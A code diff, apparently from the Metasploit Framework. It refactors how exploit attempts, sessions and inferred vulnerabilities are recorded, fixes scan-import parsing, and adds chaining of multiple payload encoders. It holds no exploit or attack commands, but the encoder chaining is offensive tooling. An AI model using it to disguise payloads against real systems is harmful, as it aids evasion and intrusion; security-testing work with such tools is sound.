wspace = opts[:workspace] || workspace
|
||||||
|
port = opts[:port]
|
||||||
|
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||||
|
svc = opts[:service]
|
||||||
|
|
||||||
# Look up or generate the service as appropriate
|
# Look up or generate the service as appropriate
|
||||||
if port and svc.nil?
|
if port and svc.nil?
|
||||||
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port
|
# it is rude to modify arguments in place
|
||||||
|
opts = opts.dup
|
||||||
|
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||||
|
opts[:service] = report_service(
|
||||||
|
workspace: wspace, host: host, port: port, proto: prot
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
if not vuln
|
do_report_failure_or_success(opts)
|
||||||
# Create a references map from the module list
|
end
|
||||||
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
|
|
||||||
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
|
||||||
"#{ref.ctx_id}-#{ref.ctx_val}"
|
|
||||||
else
|
|
||||||
ref.to_s
|
|
||||||
end
|
|
||||||
})
|
|
||||||
|
|
||||||
# Try find a matching vulnerability
|
private
|
||||||
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
|
||||||
end
|
# @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
|
||||||
|
# @option opts [Mdm::Host] :host
|
||||||
|
# @option opts [Mdm::Service] :service
|
||||||
|
# @option opts [Integer] :port (nil)
|
||||||
|
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
|
||||||
|
# @option opts [Mdm::Vuln] :vuln (nil)
|
||||||
|
# @option opts [Time] :timestamp (nil)
|
||||||
|
# @option opts [Mdm::Vuln] :timestamp (nil)
|
||||||
|
# @option opts [String] :module (nil)
|
||||||
|
# @return [void]
|
||||||
|
def do_report_failure_or_success(opts)
|
||||||
|
return unless opts[:refs]
|
||||||
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
mrefs = opts[:refs]
|
||||||
|
host = opts[:host]
|
||||||
|
port = opts[:port]
|
||||||
|
prot = opts[:proto]
|
||||||
|
svc = opts[:service]
|
||||||
|
vuln = opts[:vuln]
|
||||||
|
|
||||||
|
timestamp = opts[:timestamp]
|
||||||
|
freason = opts[:fail_reason]
|
||||||
|
fdetail = opts[:fail_detail]
|
||||||
|
username = opts[:username]
|
||||||
|
mname = opts[:module]
|
||||||
|
|
||||||
|
if vuln.nil?
|
||||||
|
ref_names = mrefs.map { |ref|
|
||||||
|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
|
||||||
|
"#{ref.ctx_id}-#{ref.ctx_val}"
|
||||||
|
else
|
||||||
|
ref.to_s
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create a references map from the module list
|
||||||
|
ref_objs = ::Mdm::Ref.where(name: ref_names)
|
||||||
|
|
||||||
|
# Try find a matching vulnerability
|
||||||
|
vuln = find_vuln_by_refs(ref_objs, host, svc)
|
||||||
|
end
|
||||||
|
|
||||||
# We have match, lets create a vuln_attempt record
|
|
||||||
if vuln
|
|
||||||
attempt_info = {
|
attempt_info = {
|
||||||
:vuln_id => vuln.id,
|
|
||||||
:attempted_at => timestamp || Time.now.utc,
|
:attempted_at => timestamp || Time.now.utc,
|
||||||
:exploited => true,
|
:exploited => (freason.nil? ? true : false),
|
||||||
|
:fail_detail => fdetail,
|
||||||
|
:fail_reason => freason,
|
||||||
|
:module => mname,
|
||||||
:username => username || "unknown",
|
:username => username || "unknown",
|
||||||
:module => mname
|
|
||||||
}
|
}
|
||||||
|
|
||||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||||
|
|
||||||
vuln.vuln_attempts.create(attempt_info)
|
# We have match, lets create a vuln_attempt record
|
||||||
|
if vuln
|
||||||
|
attempt_info[:vuln_id] = vuln.id
|
||||||
|
vuln.vuln_attempts.create(attempt_info)
|
||||||
|
|
||||||
# Correct the vuln's associated service if necessary
|
# Correct the vuln's associated service if necessary
|
||||||
if svc and vuln.service_id.nil?
|
if svc and vuln.service_id.nil?
|
||||||
vuln.service = svc
|
vuln.service = svc
|
||||||
vuln.save
|
vuln.save
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
# Report an exploit attempt all the same
|
# Report an exploit attempt all the same
|
||||||
attempt_info = {
|
|
||||||
:attempted_at => timestamp || Time.now.utc,
|
if svc
|
||||||
:exploited => true,
|
attempt_info[:port] = svc.port
|
||||||
:username => username || "unknown",
|
attempt_info[:proto] = svc.proto
|
||||||
:module => mname
|
end
|
||||||
|
|
||||||
|
if port and svc.nil?
|
||||||
|
attempt_info[:port] = port
|
||||||
|
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||||
|
end
|
||||||
|
|
||||||
|
host.exploit_attempts.create(attempt_info)
|
||||||
}
|
}
|
||||||
|
|
||||||
attempt_info[:vuln_id] = vuln.id if vuln
|
|
||||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
|
||||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
|
||||||
|
|
||||||
if svc
|
|
||||||
attempt_info[:port] = svc.port
|
|
||||||
attempt_info[:proto] = svc.proto
|
|
||||||
end
|
|
||||||
|
|
||||||
if port and svc.nil?
|
|
||||||
attempt_info[:port] = port
|
|
||||||
attempt_info[:proto] = prot || "tcp"
|
|
||||||
end
|
|
||||||
|
|
||||||
host.exploit_attempts.create(attempt_info)
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -96,8 +96,7 @@ module Msf::DBManager::Host
|
||||||
norm_host = host.host
|
norm_host = host.host
|
||||||
elsif host.respond_to?(:session_host)
|
elsif host.respond_to?(:session_host)
|
||||||
# Then it's an Msf::Session object
|
# Then it's an Msf::Session object
|
||||||
thost = host.session_host
|
norm_host = host.session_host
|
||||||
norm_host = thost
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# If we got here and don't have a norm_host yet, it could be a
|
# If we got here and don't have a norm_host yet, it could be a
|
||||||
|
@ -325,4 +324,4 @@ module Msf::DBManager::Host
|
||||||
host
|
host
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap
|
||||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||||
# seen_hosts is only used for determining when to yield an address. Once we get
|
# seen_hosts is only used for determining when to yield an address. Once we get
|
||||||
# some packet analysis going, the values will have all sorts of info. The plan
|
# some packet analysis going, the values will have all sorts of info. The plan
|
||||||
# is to ru through all the packets as a first pass and report host and service,
|
# is to run through all the packets as a first pass and report host and service,
|
||||||
# then, once we have everything parsed, we can reconstruct sessions and ngrep
|
# then, once we have everything parsed, we can reconstruct sessions and ngrep
|
||||||
# out things like authentication sequences, examine ttl's and window sizes, all
|
# out things like authentication sequences, examine ttl's and window sizes, all
|
||||||
# kinds of crazy awesome stuff like that.
|
# kinds of crazy awesome stuff like that.
|
||||||
|
|
|
@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||||
end
|
end
|
||||||
|
|
||||||
# Only report loot if we actually have it.
|
# Only report loot if we actually have it.
|
||||||
# TODO: Copypasta. Seperate this out.
|
# TODO: Copypasta. Separate this out.
|
||||||
if ::File.exists? loot_info[:orig_path]
|
if ::File.exists? loot_info[:orig_path]
|
||||||
loot_dir = ::File.join(basedir,"loot")
|
loot_dir = ::File.join(basedir,"loot")
|
||||||
loot_file = ::File.split(loot_info[:orig_path]).last
|
loot_file = ::File.split(loot_info[:orig_path]).last
|
||||||
|
@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||||
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
||||||
|
|
||||||
# Only report a task if we actually have it.
|
# Only report a task if we actually have it.
|
||||||
# TODO: Copypasta. Seperate this out.
|
# TODO: Copypasta. Separate this out.
|
||||||
if ::File.exists? task_info[:orig_path]
|
if ::File.exists? task_info[:orig_path]
|
||||||
tasks_dir = ::File.join(basedir,"tasks")
|
tasks_dir = ::File.join(basedir,"tasks")
|
||||||
task_file = ::File.split(task_info[:orig_path]).last
|
task_file = ::File.split(task_info[:orig_path]).last
|
||||||
|
@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||||
# Grab the list of unique basedirs over all entries.
|
# Grab the list of unique basedirs over all entries.
|
||||||
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
|
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
|
||||||
|
|
||||||
# mkdir all of the base directores we just pulled out, if they don't
|
# mkdir all of the base directories we just pulled out, if they don't
|
||||||
# already exist
|
# already exist
|
||||||
@import_filedata[:zip_tmp_subdirs].each {|sub|
|
@import_filedata[:zip_tmp_subdirs].each {|sub|
|
||||||
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
|
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
|
||||||
|
|
|
@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
|
||||||
data[:host] = hobj || addr
|
data[:host] = hobj || addr
|
||||||
data[:info] = extra if not extra.empty?
|
data[:info] = extra if not extra.empty?
|
||||||
data[:task] = args[:task]
|
data[:task] = args[:task]
|
||||||
if p["name"] != "unknown"
|
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
|
||||||
data[:name] = p["name"]
|
|
||||||
end
|
|
||||||
report_service(data)
|
report_service(data)
|
||||||
}
|
}
|
||||||
#Parse the scripts output
|
#Parse the scripts output
|
||||||
|
|
|
@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
|
||||||
qid = vuln.elements['QID'].first.to_s
|
qid = vuln.elements['QID'].first.to_s
|
||||||
vuln_refs[qid] ||= []
|
vuln_refs[qid] ||= []
|
||||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||||
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||||
end
|
end
|
||||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||||
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
|
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
|
||||||
|
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
|
||||||
end # host
|
end # host
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
|
||||||
refs.push(ref.elements['ID'].text.to_s)
|
refs.push(ref.elements['ID'].text.to_s)
|
||||||
end
|
end
|
||||||
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
|
||||||
refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
|
refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
|
||||||
end
|
end
|
||||||
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
|
||||||
refs.push('BID-' + ref.elements['ID'].text.to_s)
|
refs.push('BID-' + ref.elements['ID'].text.to_s)
|
||||||
|
|
|
@ -85,7 +85,7 @@ module Msf::DBManager::Service
|
||||||
end
|
end
|
||||||
=end
|
=end
|
||||||
|
|
||||||
proto = opts[:proto] || 'tcp'
|
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||||
|
|
||||||
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
|
||||||
opts.each { |k,v|
|
opts.each { |k,v|
|
||||||
|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
|
||||||
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
|
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -49,7 +49,7 @@ module Msf::DBManager::Session
|
||||||
# Creates an Mdm::Session from Mdm::Host.
|
# Creates an Mdm::Session from Mdm::Host.
|
||||||
#
|
#
|
||||||
# @param opts [Hash{Symbol => Object}] options
|
# @param opts [Hash{Symbol => Object}] options
|
||||||
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
|
# @option opts [DateTime, Time] :closed_at The date and time the session was
|
||||||
# closed.
|
# closed.
|
||||||
# @option opts [String] :close_reason Reason the session was closed.
|
# @option opts [String] :close_reason Reason the session was closed.
|
||||||
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
||||||
|
@ -74,101 +74,71 @@ module Msf::DBManager::Session
|
||||||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||||
# saved.
|
# saved.
|
||||||
#
|
#
|
||||||
# @raise ArgumentError if :host and :session is +nil+
|
# @raise ArgumentError if :host and :session are both +nil+
|
||||||
def report_session(opts)
|
def report_session(opts)
|
||||||
return if not active
|
return if not active
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
if opts[:session]
|
if opts[:session]
|
||||||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
|
|
||||||
session = opts[:session]
|
session = opts[:session]
|
||||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
s = create_mdm_session_from_session(opts)
|
||||||
h_opts = { }
|
session.db_record = s
|
||||||
h_opts[:host] = normalize_host(session)
|
|
||||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
|
||||||
h_opts[:workspace] = wspace
|
|
||||||
host = find_or_create_host(h_opts)
|
|
||||||
sess_data = {
|
|
||||||
:host_id => host.id,
|
|
||||||
:stype => session.type,
|
|
||||||
:desc => session.info,
|
|
||||||
:platform => session.platform,
|
|
||||||
:via_payload => session.via_payload,
|
|
||||||
:via_exploit => session.via_exploit,
|
|
||||||
:routes => [],
|
|
||||||
:datastore => session.exploit_datastore.to_h,
|
|
||||||
:port => session.session_port,
|
|
||||||
:opened_at => Time.now.utc,
|
|
||||||
:last_seen => Time.now.utc,
|
|
||||||
:local_id => session.sid
|
|
||||||
}
|
|
||||||
elsif opts[:host]
|
elsif opts[:host]
|
||||||
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
|
s = create_mdm_session_from_host(opts)
|
||||||
host = opts[:host]
|
|
||||||
sess_data = {
|
|
||||||
:host_id => host.id,
|
|
||||||
:stype => opts[:stype],
|
|
||||||
:desc => opts[:desc],
|
|
||||||
:platform => opts[:platform],
|
|
||||||
:via_payload => opts[:via_payload],
|
|
||||||
:via_exploit => opts[:via_exploit],
|
|
||||||
:routes => opts[:routes] || [],
|
|
||||||
:datastore => opts[:datastore],
|
|
||||||
:opened_at => opts[:opened_at],
|
|
||||||
:closed_at => opts[:closed_at],
|
|
||||||
:last_seen => opts[:last_seen] || opts[:closed_at],
|
|
||||||
:close_reason => opts[:close_reason],
|
|
||||||
}
|
|
||||||
else
|
else
|
||||||
raise ArgumentError.new("Missing option :session or :host")
|
raise ArgumentError.new("Missing option :session or :host")
|
||||||
end
|
end
|
||||||
ret = {}
|
|
||||||
|
|
||||||
# Truncate the session data if necessary
|
wspace = s.workspace
|
||||||
if sess_data[:desc]
|
|
||||||
sess_data[:desc] = sess_data[:desc][0,255]
|
|
||||||
end
|
|
||||||
|
|
||||||
# In the case of multi handler we cannot yet determine the true
|
if session
|
||||||
# exploit responsible. But we can at least show the parent versus
|
if session.exploit.user_data_is_match?
|
||||||
# just the generic handler:
|
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||||
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
match: session.exploit.user_data[:match],
|
||||||
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
match_set: session.exploit.user_data[:match_set],
|
||||||
end
|
run: session.exploit.user_data[:run],
|
||||||
|
state: 'succeeded',
|
||||||
s = ::Mdm::Session.new(sess_data)
|
)
|
||||||
s.save!
|
elsif session.via_exploit
|
||||||
|
# This is a live session, we know the host is vulnerable to something.
|
||||||
if session and session.exploit_task and session.exploit_task.record
|
infer_vuln_from_session(session, wspace)
|
||||||
session_task = session.exploit_task.record
|
|
||||||
if session_task.class == Mdm::Task
|
|
||||||
Mdm::TaskSession.create(:task => session_task, :session => s )
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
s
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
if opts[:session]
|
protected
|
||||||
session.db_record = s
|
|
||||||
end
|
|
||||||
|
|
||||||
# If this is a live session, we know the host is vulnerable to something.
|
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
|
||||||
if opts[:session] and session.via_exploit
|
# @param wspace [Mdm::Workspace]
|
||||||
mod = framework.modules.create(session.via_exploit)
|
# @return [void]
|
||||||
|
def infer_vuln_from_session(session, wspace)
|
||||||
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
s = session.db_record
|
||||||
|
host = s.host
|
||||||
|
|
||||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
|
||||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
mod_fullname = session.exploit_datastore['ParentModule']
|
||||||
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
|
|
||||||
else
|
else
|
||||||
mod_name = mod.name
|
mod_fullname = session.via_exploit
|
||||||
mod_fullname = mod.fullname
|
|
||||||
end
|
end
|
||||||
|
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
|
||||||
|
if mod_detail.nil?
|
||||||
|
# Then the cache isn't built yet, take the hit for instantiating the
|
||||||
|
# module
|
||||||
|
mod_detail = framework.modules.create(mod_fullname)
|
||||||
|
end
|
||||||
|
mod_name = mod_detail.name
|
||||||
|
|
||||||
vuln_info = {
|
vuln_info = {
|
||||||
:host => host.address,
|
exploited_at: Time.now.utc,
|
||||||
:name => mod_name,
|
host: host,
|
||||||
:refs => mod.references,
|
info: "Exploited by #{mod_fullname} to create Session #{s.id}",
|
||||||
:workspace => wspace,
|
name: mod_name,
|
||||||
:exploited_at => Time.now.utc,
|
refs: mod_detail.refs.map(&:name),
|
||||||
:info => "Exploited by #{mod_fullname} to create Session #{s.id}"
|
workspace: wspace,
|
||||||
}
|
}
|
||||||
|
|
||||||
port = session.exploit_datastore["RPORT"]
|
port = session.exploit_datastore["RPORT"]
|
||||||
|
@ -178,28 +148,105 @@ module Msf::DBManager::Session
|
||||||
|
|
||||||
vuln = framework.db.report_vuln(vuln_info)
|
vuln = framework.db.report_vuln(vuln_info)
|
||||||
|
|
||||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
|
||||||
via_exploit = sess_data[:datastore]['ParentModule']
|
|
||||||
else
|
|
||||||
via_exploit = session.via_exploit
|
|
||||||
end
|
|
||||||
attempt_info = {
|
attempt_info = {
|
||||||
:timestamp => Time.now.utc,
|
host: host,
|
||||||
:workspace => wspace,
|
module: mod_fullname,
|
||||||
:module => via_exploit,
|
refs: mod_detail.refs,
|
||||||
:username => session.username,
|
service: service,
|
||||||
:refs => mod.references,
|
session_id: s.id,
|
||||||
:session_id => s.id,
|
timestamp: Time.now.utc,
|
||||||
:host => host,
|
username: session.username,
|
||||||
:service => service,
|
vuln: vuln,
|
||||||
:vuln => vuln
|
workspace: wspace,
|
||||||
}
|
}
|
||||||
|
|
||||||
framework.db.report_exploit_success(attempt_info)
|
framework.db.report_exploit_success(attempt_info)
|
||||||
|
|
||||||
end
|
vuln
|
||||||
|
}
|
||||||
s
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
def create_mdm_session_from_session(opts)
|
||||||
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
session = opts[:session]
|
||||||
|
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
|
||||||
|
|
||||||
|
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||||
|
h_opts = { }
|
||||||
|
h_opts[:host] = normalize_host(session)
|
||||||
|
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||||
|
h_opts[:workspace] = wspace
|
||||||
|
host = find_or_create_host(h_opts)
|
||||||
|
sess_data = {
|
||||||
|
datastore: session.exploit_datastore.to_h,
|
||||||
|
desc: truncate_session_desc(session.info),
|
||||||
|
host_id: host.id,
|
||||||
|
last_seen: Time.now.utc,
|
||||||
|
local_id: session.sid,
|
||||||
|
opened_at: Time.now.utc,
|
||||||
|
platform: session.platform,
|
||||||
|
port: session.session_port,
|
||||||
|
routes: [],
|
||||||
|
stype: session.type,
|
||||||
|
via_exploit: session.via_exploit,
|
||||||
|
via_payload: session.via_payload,
|
||||||
|
}
|
||||||
|
|
||||||
|
# In the case of multi handler we cannot yet determine the true
|
||||||
|
# exploit responsible. But we can at least show the parent versus
|
||||||
|
# just the generic handler:
|
||||||
|
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||||
|
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
|
||||||
|
end
|
||||||
|
|
||||||
|
s = ::Mdm::Session.create!(sess_data)
|
||||||
|
|
||||||
|
if session.exploit_task and session.exploit_task.record
|
||||||
|
session_task = session.exploit_task.record
|
||||||
|
if session_task.class == Mdm::Task
|
||||||
|
Mdm::TaskSession.create(task: session_task, session: s )
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
s
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_mdm_session_from_host(opts)
|
||||||
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
host = opts[:host]
|
||||||
|
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
|
||||||
|
sess_data = {
|
||||||
|
host_id: host.id,
|
||||||
|
stype: opts[:stype],
|
||||||
|
desc: truncate_session_desc(opts[:desc]),
|
||||||
|
platform: opts[:platform],
|
||||||
|
via_payload: opts[:via_payload],
|
||||||
|
via_exploit: opts[:via_exploit],
|
||||||
|
routes: opts[:routes] || [],
|
||||||
|
datastore: opts[:datastore],
|
||||||
|
opened_at: opts[:opened_at],
|
||||||
|
closed_at: opts[:closed_at],
|
||||||
|
last_seen: opts[:last_seen] || opts[:closed_at],
|
||||||
|
close_reason: opts[:close_reason],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
s = ::Mdm::Session.create!(sess_data)
|
||||||
|
s
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Truncate the session data if necessary
|
||||||
|
#
|
||||||
|
# @param desc [String]
|
||||||
|
# @return [String] +desc+ truncated to the max length of the desc column
|
||||||
|
def truncate_session_desc(desc)
|
||||||
|
# Truncate the session data if necessary
|
||||||
|
if desc
|
||||||
|
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
|
||||||
|
end
|
||||||
|
desc
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -43,8 +43,8 @@ module Msf::DBManager::WMAP
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# This method iterates the requests table identifiying possible targets
|
# This method iterates the requests table identifying possible targets
|
||||||
# This method wiil be remove on second phase of db merging.
|
# This method will be removed on second phase of db merging.
|
||||||
def each_distinct_target(&block)
|
def each_distinct_target(&block)
|
||||||
request_distinct_targets.each do |target|
|
request_distinct_targets.each do |target|
|
||||||
block.call(target)
|
block.call(target)
|
||||||
|
@ -111,7 +111,7 @@ module Msf::DBManager::WMAP
|
||||||
end
|
end
|
||||||
|
|
||||||
# This method returns a list of all possible targets available in requests
|
# This method returns a list of all possible targets available in requests
|
||||||
# This method wiil be remove on second phase of db merging.
|
# This method will be removed on second phase of db merging.
|
||||||
def request_distinct_targets
|
def request_distinct_targets
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
|
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
|
||||||
|
@ -186,4 +186,4 @@ module Msf::DBManager::WMAP
|
||||||
::Mdm::WmapTarget.all
|
::Mdm::WmapTarget.all
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -49,8 +49,6 @@ class EncodedPayload
|
||||||
self.nop_sled = nil
|
self.nop_sled = nil
|
||||||
self.encoder = nil
|
self.encoder = nil
|
||||||
self.nop = nil
|
self.nop = nil
|
||||||
self.iterations = reqs['Iterations'].to_i
|
|
||||||
self.iterations = 1 if self.iterations < 1
|
|
||||||
|
|
||||||
# Increase thread priority as necessary. This is done
|
# Increase thread priority as necessary. This is done
|
||||||
# to ensure that the encoding and sled generation get
|
# to ensure that the encoding and sled generation get
|
||||||
|
@ -71,8 +69,27 @@ class EncodedPayload
|
||||||
# Generate the raw version of the payload first
|
# Generate the raw version of the payload first
|
||||||
generate_raw() if self.raw.nil?
|
generate_raw() if self.raw.nil?
|
||||||
|
|
||||||
# Encode the payload
|
# If encoder is set, it could be an encoders list
|
||||||
encode()
|
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
|
||||||
|
if reqs['Encoder']
|
||||||
|
encoder_str = reqs['Encoder']
|
||||||
|
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||||
|
reqs['Encoder'] = encoder_opt[0]
|
||||||
|
|
||||||
|
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
|
||||||
|
self.iterations = 1 if self.iterations < 1
|
||||||
|
|
||||||
|
# Encode the payload with every encoders in the list
|
||||||
|
encode()
|
||||||
|
# Encoded payload is now the raw payload to be encoded by the next encoder
|
||||||
|
self.raw = self.encoded
|
||||||
|
end
|
||||||
|
else
|
||||||
|
self.iterations = reqs['Iterations'].to_i
|
||||||
|
self.iterations = 1 if self.iterations < 1
|
||||||
|
# No specified encoder, let BadChars or ForceEncode do their job
|
||||||
|
encode()
|
||||||
|
end
|
||||||
|
|
||||||
# Build the NOP sled
|
# Build the NOP sled
|
||||||
generate_sled()
|
generate_sled()
|
||||||
|
@ -110,7 +127,7 @@ class EncodedPayload
|
||||||
def encode
|
def encode
|
||||||
# If the exploit has bad characters, we need to run the list of encoders
|
# If the exploit has bad characters, we need to run the list of encoders
|
||||||
# in ranked precedence and try to encode without them.
|
# in ranked precedence and try to encode without them.
|
||||||
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
|
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
|
||||||
encoders = pinst.compatible_encoders
|
encoders = pinst.compatible_encoders
|
||||||
|
|
||||||
# Make sure the encoder name from the user has the same String#encoding
|
# Make sure the encoder name from the user has the same String#encoding
|
||||||
|
@ -165,7 +182,7 @@ class EncodedPayload
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
# If the caller explictly requires register preservation, make sure
|
# If the caller explicitly requires register preservation, make sure
|
||||||
# that the module in question can handle it. This is mostly used by
|
# that the module in question can handle it. This is mostly used by
|
||||||
# the stage encoder path.
|
# the stage encoder path.
|
||||||
if (reqs['ForceSaveRegisters'] and
|
if (reqs['ForceSaveRegisters'] and
|
||||||
|
|
|
@ -99,7 +99,7 @@ class Encoder < Module
|
||||||
#
|
#
|
||||||
NonAlpha = "non_alpha"
|
NonAlpha = "non_alpha"
|
||||||
#
|
#
|
||||||
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha)
|
# tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha)
|
||||||
#
|
#
|
||||||
NonUpper = "non_upper"
|
NonUpper = "non_upper"
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Msf
|
||||||
|
module Exe
|
||||||
|
|
||||||
|
require 'metasm'
|
||||||
|
require 'msf/core/exe/segment_injector'
